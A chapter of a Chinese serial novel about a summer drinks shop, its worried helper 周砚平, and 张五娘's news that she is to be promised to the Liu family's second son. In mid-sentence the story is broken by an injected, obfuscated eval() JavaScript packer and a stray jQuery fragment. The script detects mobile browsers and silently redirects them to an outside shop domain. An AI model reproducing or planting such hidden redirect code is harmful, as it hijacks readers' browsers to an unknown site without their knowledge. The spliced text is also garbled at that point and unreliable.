这日一早就阴着，日头没露面，也不见不凉快。
云压在屋檐上头，低低沉沉，像一床潮被子扣在巷子里。
何春酿站在门口看了一眼天，又看了一眼木牌，“今日怕要下雨。”
周砚平正在后院打水，闻言抬头看了看，“要下雨了。”
何春酿把木牌往里挪了半寸，“这种天最烦人，雨下不来，热气也不散，东西摆着还容易坏。”
水缸旁边摆着几盆木莲水，空气里多了一层潮意，木莲水静在那里，凝得比昨日慢些。
何春酿揭开竹罩看了一眼，皱了皱眉，“今日天闷，水也不爽利。”
周砚平看着那几只碗，没说话。
他今日话比平日少，从早上起就是这样。
揉木莲时力气一会儿轻一会儿重，洗盏时还把清暑盏的小盏放进了酸梅饮那一摞。
何春酿看在眼里，没立刻说他。
直到他把一只刚洗好的小盏放到案边，差点碰掉，她才伸手扶住，“周砚平。”
他回过神：“嗯？”
“你今日若再这么神游，就回去躺着吧。”她语气算不上好。
周砚平低头看自己的手，“我没事。”
何春酿把小盏放稳：“我没问你有没有事。”
后院里很静，只有灶上酸梅汁小火慢慢滚着，锅盖边冒一点白气。那白气不往上散，只贴着锅沿慢慢绕，像也被这天气闷住了。
何春酿把竹罩重新盖上，声音平平道：“五娘昨日带走两只盏，一只竹筒，今日会来还的。”
何春酿看着他那副样子，语气到底放轻了一点，“她昨日能来，已经不容易。今日若再来，你别一见她就乱问。”
“我知道。”周砚平道。
何春酿声音重了些，“我看你根本就不知道。昨日你一叫她阿禾，她手都不知道往哪里放。”
周砚平垂下眼，“我只是……”
何春酿截住他，“打住，你要记清楚，她现在是刘家的人，不是从前跟在你们后头跑的小姑娘。”
午前，罗娘子来了。
她今日没有带小满，说是天闷，小满一早就喊头沉，她索性叫她在家里帮忙择豆子。
罗娘子拿帕子擦了擦脖子，“这天真怪，没太阳还闷得慌。一路走过来，衣裳贴在背上，跟淋了半场雨似的。”
何春酿附和道：“真下雨就好了。”
“偏不下。”罗娘子把昨日收回来的几只小盏拿出来，“胡娘子家的，书铺的，还有针线阿婆家的，都在这儿。”
何春酿接过来看了看：“记你一趟。”
罗娘子笑了笑，挽起袖子，“今日还揉木莲籽吗？”
“揉。”何春酿往后院看了一眼，“只是今日凝得慢，得多看着些。”
罗娘子走到后院，见周砚平坐在水盆边不说话，便把原本要说的玩笑收了回去。
她是个很会看眼色的人。
周砚平今日脸上没什么神气，不像昨日还有几分跟着忙起来的热闹，他手在水里，眼睛却不知落在哪里。
罗娘子坐下，手一入水，便“嘶”了一声，“这水怎么也不凉？”
何春酿道：“天不爽快。”
罗娘子揉了几下，叹气：“人不爽快，水也不爽快。”
午后，雨还是没下。云越压越低，街上行人走得都急，可热气依旧从地面往上返。
何记门口没有烈日，客人却比昨日更容易烦躁。有人进门就说：“何掌柜，今日这个天怪，多放点碎冰吧。”
胡娘子也来了，帕子扇得有气无力，“冰木莲有吗？”
“有的卖。”何春酿把第一批凝好的木莲冻端出来，“今日凝得慢，先卖二十盏。”
“二十盏哪里够？”胡娘子坐下，“昨日我家那位吃了一盏，今日早上还问。”
何春酿舀木莲冻，浇酸梅汁，又添一点碎冰。今日碎冰化得也快，刚撒上去，盏面便起了一层细细的水珠。
胡娘子吃了一口，才算舒了口气，“今日这东西比扇子管用。”
罗娘子在旁边洗盏：“扇子扇的是外头，这个滑到肚子里去。”
胡娘子点头：“就是这个意思。”
书铺小陶也来了，跟着另一个伙计，两个人一人一盏，挤在门边坐。
他吃完后问：“何掌柜，今日能不能多做一点？书铺掌柜也要。”
何春酿没好气：“你们书铺掌柜昨日不是说吃凉的误事？”
小陶一板一眼道：“今日他说，误一回也不打紧。”
生意慢慢热起来，可周砚平仍旧不大说话。
他送完码头水回来时，衣襟湿了一片，不知是汗还是路上潮气。
车上竹筒空了大半，按理说这一趟卖得不错，可他一进门，先往柜台旁看了一眼。
何春酿正好从后院出来，看见他这个眼神，什么也没问，只把水瓢递过去。
周砚平接过水瓢，“码头那边……”
“等会儿说。”何春酿道，“先洗手，再揉木莲。”
他低头洗手，水从指缝里流下去，滴到青石上，很快被潮气吞了。
周砚平洗完手，坐到后院继续揉木莲，何春酿把一盆新泡好的籽递给他，“慢一点。”
“嗯。”
何春酿看他低头揉着，忍了忍，还是道：“别总嗯。”
周砚平抬头看她。
何春酿把酸梅汁的小罐放到一边：“你这样，我听着心烦。”
罗娘子很识趣地端着洗好的盏去了前铺，后院只剩他们两个人。
周砚平低声道：“我怕她今日不来。”
墙角那块阴影被云色压得发灰，水盆里的木莲水晃了一下，又慢慢平下去。
“怕有什么用？”何春酿反问，“你又想同她说什么话？”
周砚平怔住。
说什么？
问她这些年好不好？问刘家有没有欺负她？问她还记不记得旧街？问她想不想走？
哪一句都问不得。
周砚平垂下眼，“我知道了。”
傍晚前，天边终于起了风。
风不大，却把闷在巷子里的热气掀开一线。门口的木牌轻轻碰着墙，发出一下一下的响。
街上的人抬头看天，都说要落雨。可雨迟迟不落，只是云底更黑了些。
梅子冰木莲卖完了。
还有人来问，何春酿一概说：“今日没了，明日再来。”
罗娘子收拾完最后一摞小盏，揉着手腕道：“今日比昨日还累。”
她领了工钱，笑着走了，铺子慢慢静下来。
周砚平正在柜台边收盏，何春酿把剩下的酸梅汁封好，刚要把木牌收进来。
风从巷口吹进来，那人衣角被吹得贴在腿边。
张五娘站在门外。
她今日来得比昨日晚，手里抱着两只洗干净的小盏，竹筒挂在腕上。青布衫的肩头有一块深色，像是路上被雨点打湿，又像只是汗。
何春酿放下木牌，“五娘，进来。”
张五娘这才迈进门，她把两只小盏和竹筒放到柜台边，动作很轻，“昨日的盏和筒，我洗过了。”
何春酿拿起来看。
盏口擦得干净，竹筒也洗过，筒盖边那点细缝里都没有酸梅汁的痕迹。
“洗得这么仔细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684330|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，我倒不好意思挑你错了。”
张五娘低头：“刘家婶子说，何记的东西不能弄脏，免得下回不肯卖。”
她说这话时，声音很小，像是把刘家婆子的原话背出来，不愿意多说一点。
周砚平站在柜台旁，他看着张五娘。
这一次，张五娘也看见了他。
两个人都没有说话，铺子里那点风也像停了一下。
何春酿把盏放下，语气照旧：“今日要买什么？”
张五娘连忙从袖中摸出钱，“还是两盏酸梅饮，一筒甘草水。刘家婶子说，那个木莲，也要一盏。”
“梅子冰木莲卖完了。”何春酿道，“酸梅饮和甘草水还有。”
张五娘点点头，像松了一口气，又像有些失望。
何春酿转身去盛酸梅饮，又装甘草水。周砚平仍旧站在原处，手指紧紧扣着小盏边。
张五娘低着头，没再看他。
铺子里只剩陶勺碰盏的声音，周砚平终于低声道：“你今日……出来得晚。”
张五娘轻声道：“刘家婶子等二郎回来，才叫我出来。”
周砚平停了停：“二郎待你好吗？”
张五娘没有立刻答。
何春酿手上的动作也慢了半拍。
过了一会儿，张五娘说：“有饭吃。”
就这三个字。
周砚平喉咙像被什么堵住，他还想问，却听见何春酿把竹筒盖扣上。
“酸梅饮封好了。”
她把两只盏和竹筒一并放到柜台上，顺手又拿了一个小纸包，里头是今日木莲冻刮下来的边角料，浇了一点淡梅子汁，已经不成盏，只够尝一口。
“这个不卖了，带回去路上吃。别给刘家婶子看见，免得她嫌少。”
张五娘怔了怔，“何掌柜……”
“拿着。”何春酿道，“今日天闷，走回去也热。”
张五娘慢慢伸手，把那个小纸包收进袖中。她抱起竹筒和盏，转身要走。
周砚平仍然叫她：“阿禾。”
他有很多话压在喉间，最后却只问了一句：“你明日还来吗？”
张五娘低着头，“若刘家婶子叫我来，我就来。”
“若她不叫呢？”
何春酿看向周砚平。
张五娘沉默了很久，声音轻得几乎被风吹散。
“六月前……刘家婶子说，要把我和二郎的事定下来。到时候，怕是不方便总出来了。”
周砚平的脸色骤然变了。
何春酿放在柜台上的手也紧了一下，她没有立刻问，只像平常做买卖一样，道：“路上要落雨，快些回去吧。”
张五娘点点头，抱着东西出了门。她走到巷口时，天上终于落了两三点雨。
雨点很大，砸在青石板上，一点一点黑下去。风倒比方才大了些，把张五娘的青布衣角吹得贴在身侧，很快便看不见了。
周砚平往前走了一步，想要追出去。
何春酿在他身后道：“周砚平，你不能去。”
他停住，背影绷得很紧。
何春酿把钱匣合上，声音不高：“你今日追出去，她明日就未必能来了。”
雨点又落了几颗，打在门槛外，很快消失在灰暗的石缝里，“我只是想问清楚。”
“她已经说清楚了。”何春酿重复道，“六月前，刘家要定她和刘二郎的事。”
周砚平慢慢转过身，脸色发白，“那怎么办？”
外头的雨仍旧没下成，只把青石板打出几处深色斑点。闷了整整一日的天，到底没有爽快一回。
何春酿把门板合上一半，屋里暗了些。